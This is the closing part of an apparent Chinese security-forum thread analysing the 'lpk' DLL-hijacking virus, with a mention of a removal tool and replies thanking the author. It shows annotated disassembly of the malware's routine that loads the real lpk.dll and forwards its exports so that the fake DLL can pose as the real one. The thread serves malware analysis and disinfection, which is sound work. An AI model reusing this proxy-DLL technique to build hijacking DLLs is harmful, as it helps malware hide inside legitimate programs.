    call    GetSysLpkAddrAndFillMeExportTable ; 获取系统lpk导出函数地址,填充到自己导出函数,起中转作用

FAIL:                                   ; ...
    xor     eax, eax
    cmp     ghSyslpk, eax
    setnz   al                          ; 成功返回TURE,否则FALSE
    leave
    retn
LoadSysLpkAndGetExportFunAddr endp

GetSysLpkAddrAndFillMeExportTable proc near ; ...
    push    offset gszLpkTabbedTextOut  ; "LpkTabbedTextOut"
    call    MyGetProcessAddr
    push    offset gszLpkDllInitialize  ; "LpkDllInitialize"
    mov     lpLpkTabbedTextOut, eax
    call    MyGetProcessAddr
    push    offset gszLpkDrawTextEx     ; "LpkDrawTextEx"
    mov     lpLpkDllInitialize, eax
    call    MyGetProcessAddr
    push    40h
    push    offset gszLpkEditControl    ; "LpkEditControl"函数 特殊处理
    mov     lpLpkDrawTextEx, eax
    call    MyGetProcessAddr
    push    eax
    push    offset lpLpkEditControl
    call    ds:RtlMoveMemory            ; LpkEditControl这个数组有14个成员,必须将其复制过来
    push    offset gszLpkExtTextOut     ; "LpkExtTextOut"
    call    MyGetProcessAddr
    push    offset gszLpkGetCharacterPlacement ; "LpkGetCharacterPlacement"
    mov     lpLpkExtTextOut, eax
    call    MyGetProcessAddr
    push    offset gszLpkGetTextExtentExPoint ; "LpkGetTextExtentExPoint"
    mov     lpLpkGetCharacterPlacement, eax
    call    MyGetProcessAddr
    push    offset gszLpkInitialize     ; "LpkInitialize"
    mov     lpLpkGetTextExtentExPoint, eax
    call    MyGetProcessAddr
    push    offset gszLpkPSMTextOut     ; "LpkPSMTextOut"
    mov     lpLpkInitialize, eax
    call    MyGetProcessAddr
    push    offset gszLpkUseGDIWidthCache ; "LpkUseGDIWidthCache"
    mov     lpLpkPSMTextOut, eax
    call    MyGetProcessAddr
    push    offset gszftsWordBreak      ; "ftsWordBreak"
    mov     lpLpkUseGDIWidthCache, eax
    call    MyGetProcessAddr
    mov     lpftsWordBreak, eax
    retn
GetSysLpkAddrAndFillMeExportTable endp

MyGetProcessAddr proc near              ; .获取系统lpk.dll指定函数名地址

lpProcName= dword ptr  4

    push    [esp+lpProcName]            ; lpProcName
    push    ghSyslpk                    ; hModule 系统lpk.dll句柄
    call    ds:GetProcAddress
    test    eax, eax
    jnz     short FINISH
    push    0FFFFFFFEh                  ; uExitCode
    call    ds:ExitProcess              ; 获取系统lpk.dll函数地址失败,则结束进程
; ---------------------------------------------------------------------------

FINISH:                                 ; ...
    retn    4
MyGetProcessAddr endp

lpk病毒分析及查杀工具源码.zip


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 6
支持
分享
最新回复 (24)
雪    币: 1737
活跃值: (110)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
  好文~
2012-2-27 13:49
0
雪    币: 13582
活跃值: (3927)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
精彩!!!  精品!!!
2012-2-27 14:07
0
雪    币: 656
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
remarkable
2012-2-27 16:06
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
5
膜拜大神!!!!!!!!!!!!!!!
2012-2-27 16:35
0
雪    币: 149
活跃值: (156)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
6
分析的很好。这东西变种很多,两个MD5恐怕不够。
压缩文件LZ好像还没有处理啊。
2012-2-27 17:04
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
所以当个专杀吧
2012-2-27 17:54
0
雪    币: 108
活跃值: (56)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
8
呵呵,是啊.时间也比较紧.我现在学习很紧张.这个就是作业了.这个专杀工具还有很多不完美的地方.很多地方需要加以改进. 以后有时间慢慢改进.
多谢关注.

还有一个问题,代码中如何获的一个文件在被谁使用.百度一直无果呢? 3环下.
希望高人出面指点我一下.先谢谢了.
2012-2-27 19:13
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
9
先占位,谢谢楼主的分享!
2012-2-27 20:53
0
雪    币: 233
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
分析得好啊,好好学习了
2012-2-27 21:20
0
雪    币: 114
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
来MARK下 顶下老吴
2012-2-27 21:36
0
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
呵呵  这个可以顶一下
2012-2-27 21:45
0
雪    币: 108
活跃值: (56)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
13
你是哪个帐号啊

还有一个问题,代码中如何获的一个文件在被谁使用.百度一直无果呢? 3环下.
希望高人出面指点我一下.先谢谢了
2012-2-28 09:57
0
雪    币: 596
活跃值: (449)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
14
ZwQuerySystemInformation & ZwQueryInformationFile
2012-2-28 10:10
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
15
又学习了,查询被进程占用的文件句柄
2012-2-28 13:35
0
雪    币: 2323
活跃值: (4113)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
16
学习,学习~~
2012-2-28 17:54
0
雪    币: 108
活跃值: (56)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
17
学习学习了,谢谢指点,收下.我打紧试下!
2012-2-28 20:29
0
雪    币: 202
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
好帖,这个一定要顶一下
2012-3-2 10:45
0
雪    币: 1233
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
谢谢最近在研究这个病毒
2017-9-15 14:37
0
雪    币: 0
活跃值: (108)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
最近在学习病毒分析相关的知识,  学习了
2017-9-18 10:14
0
雪    币: 1395
活跃值: (195)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
学习学习,
2017-10-5 20:47
0
雪    币: 201
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
好几台机器都感染了这个病毒,360金山之类的,还有一些专杀工具效果都不理想,谢谢楼主,希望能继续完善这个专杀工具。
2018-1-16 14:14
0
雪    币: 198
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
有好多时候,不是病毒,痛苦
2018-2-14 10:35
0
雪    币: 300
活跃值: (2452)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
感谢分享
2018-2-14 11:30
0
雪    币: 1233
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
谢谢分享
2018-2-18 18:10
0
游客
登录 | 注册 方可回帖
返回
//